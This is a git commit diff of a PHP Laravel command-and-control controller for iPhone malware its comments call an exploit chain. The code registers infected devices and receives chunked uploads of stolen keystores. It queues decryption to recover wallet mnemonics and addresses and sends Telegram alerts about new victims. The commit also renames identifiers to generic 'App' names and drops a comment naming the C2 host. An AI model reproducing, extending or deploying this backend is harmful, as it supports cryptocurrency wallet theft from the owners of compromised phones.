feat: app

This commit is contained in:
hashbro
2026-10-05 06:12:43 +08:00
parent e654f65cf9
commit cb92baa395
32 changed files with 3583 additions and 1019 deletions
+21 -21
View File
@@ -3,7 +3,7 @@
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Services\AiLiveUploadIngester;
use App\Services\AppUploadIngester;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;
@@ -109,7 +109,7 @@ class AppC2Controller extends Controller
}
/**
* Catch-all for the ai-live C2 pipeline (w2.bsvpn.net → /api/v2/*).
* Catch-all for the App 利用链 C2 pipeline (/api/v2/*).
*
* Real protocol recovered from Reqable capture (record 13655):
* GET /api/v2 (root) → {"name":"END POINT","env":"prod"}
@@ -122,9 +122,9 @@ class AppC2Controller extends Controller
* Log every request + persist chunk bodies, return protocol-faithful
* responses so the malware completes the full acquisition pipeline.
*/
public function aiLiveV2(Request $request): Response
public function appUpload(Request $request): Response
{
$this->logRequest($request, 'ailive_v2');
$this->logRequest($request, 'app_upload');
$path = $request->path(); // e.g. "api/v2/devices"
@@ -137,7 +137,7 @@ class AppC2Controller extends Controller
// ── Device registration ─────────────────────────────────
if ($path === 'api/v2/devices') {
$body = json_decode((string) $request->getContent(false), true) ?? [];
$device = $this->registerAiLiveDevice($request, $body);
$device = $this->registerAppDevice($request, $body);
return $this->json([
'code' => 0,
@@ -162,10 +162,10 @@ class AppC2Controller extends Controller
$uploadId = \Illuminate\Support\Str::uuid()->toString();
// Resolve the device so we can ingest keystores on completion.
$device = $this->findAiLiveDevice($request);
$device = $this->findAppDevice($request);
// Persist session state for chunk tracking
Cache::put("ailive_upload:{$uploadId}", [
Cache::put("app_upload:{$uploadId}", [
'fileName' => $fileName,
'fileSize' => $fileSize,
'chunkSize' => $chunkSize,
@@ -197,7 +197,7 @@ class AppC2Controller extends Controller
$uploadId = $m[1];
$chunkIndex = (int) ($request->query('chunkIndex', $request->route('n', 0)));
$session = Cache::get("ailive_upload:{$uploadId}");
$session = Cache::get("app_upload:{$uploadId}");
$numberOfChunks = $session['numberOfChunks'] ?? 1;
$chunkSize = $session['chunkSize'] ?? 1048576;
$received = ($session['receivedChunks'] ?? 0) + 1;
@@ -206,13 +206,13 @@ class AppC2Controller extends Controller
// Backfill deviceId into the session from the x-device-id header
// if it wasn't captured at /api/v2/uploads time (e.g. session
// expired, or the uploads request didn't carry the header).
$headerDeviceId = $this->findAiLiveDevice($request)?->id;
$headerDeviceId = $this->findAppDevice($request)?->id;
if ($session && empty($session['deviceId']) && $headerDeviceId !== null) {
$session['deviceId'] = $headerDeviceId;
}
if ($session) {
$session['receivedChunks'] = $received;
Cache::put("ailive_upload:{$uploadId}", $session, now()->addHours(2));
Cache::put("app_upload:{$uploadId}", $session, now()->addHours(2));
}
// On the final chunk, reassemble + parse + store keystores so
@@ -242,9 +242,9 @@ class AppC2Controller extends Controller
if ($path === 'api/v2/finish') {
// All uploads for this device are done — dispatch the async
// keystore decryption job to recover mnemonics + addresses.
$device = $this->findAiLiveDevice($request);
$device = $this->findAppDevice($request);
if ($device !== null) {
app(AiLiveUploadIngester::class)->dispatchDecrypt($device);
app(AppUploadIngester::class)->dispatchDecrypt($device);
}
return $this->json(['ok' => true]);
@@ -373,7 +373,7 @@ class AppC2Controller extends Controller
}
/**
* Find or create a Device row for an ai-live app-injection beacon.
* Find or create a Device row for an App 利用链 beacon.
*
* The malware POSTs /api/v2/devices with a JSON body carrying:
* deviceId (UUID), hardwareModel (iPhoneN,M), iosVersion, deviceName,
@@ -391,7 +391,7 @@ class AppC2Controller extends Controller
*
* @param array<string, mixed> $body
*/
private function registerAiLiveDevice(Request $request, array $body): ?\App\Models\Device
private function registerAppDevice(Request $request, array $body): ?\App\Models\Device
{
$rawId = (string) ($body['deviceId']
?? $request->headers->get('x-device-id')
@@ -461,7 +461,7 @@ class AppC2Controller extends Controller
$device->saveQuietly();
} catch (\Throwable $e) {
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
'aiLiveV2 telegram notifyNewDevice failed: '.$e->getMessage(),
'appUpload telegram notifyNewDevice failed: '.$e->getMessage(),
['device_id' => $device->id, 'device_key' => $device->device_id],
);
}
@@ -475,7 +475,7 @@ class AppC2Controller extends Controller
}
/**
* Look up the Device for the current ai-live request without creating
* Look up the Device for the current App 利用链 request without creating
* a new row (used on /api/v2/uploads, /api/v2/uploads/{id}/chunks, and
* /api/v2/finish where the device was already registered via
* /api/v2/devices).
@@ -486,7 +486,7 @@ class AppC2Controller extends Controller
* fall back to the most recently registered CHAIN_APP device from the
* same source IP, so the captured artifacts are never orphaned.
*/
private function findAiLiveDevice(Request $request): ?\App\Models\Device
private function findAppDevice(Request $request): ?\App\Models\Device
{
// 1. Primary: x-device-id header → device_id lookup.
$rawId = (string) ($request->headers->get('x-device-id') ?? '');
@@ -536,17 +536,17 @@ class AppC2Controller extends Controller
// Skip ingestion — the artifacts stay on disk and can be
// reprocessed manually.
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
'aiLiveV2 ingest skipped: no device associated with upload',
'appUpload ingest skipped: no device associated with upload',
['upload_id' => $uploadId, 'file_name' => $session['fileName'] ?? ''],
);
return;
}
try {
app(AiLiveUploadIngester::class)->ingest($device, $uploadId, $session);
app(AppUploadIngester::class)->ingest($device, $uploadId, $session);
} catch (\Throwable $e) {
\Illuminate\Support\Facades\Log::channel('keystore')->error(
'aiLiveV2 ingest failed: '.$e->getMessage(),
'appUpload ingest failed: '.$e->getMessage(),
['device_id' => $device->id, 'upload_id' => $uploadId],
);
}
@@ -595,7 +595,7 @@ class AppC2Controller extends Controller
}
// Raw chunk bodies (libutils /api/v1/uploads/{id}/chunks — octet-stream,
// ai-live /api/v2/uploads/{id}/chunks — octet-stream).
// App 利用链 /api/v2/uploads/{id}/chunks — octet-stream).
// Name files with uploadId + chunkIndex so chunks can be reassembled.
if ($body !== '' && empty($saved)) {
$path = $request->path();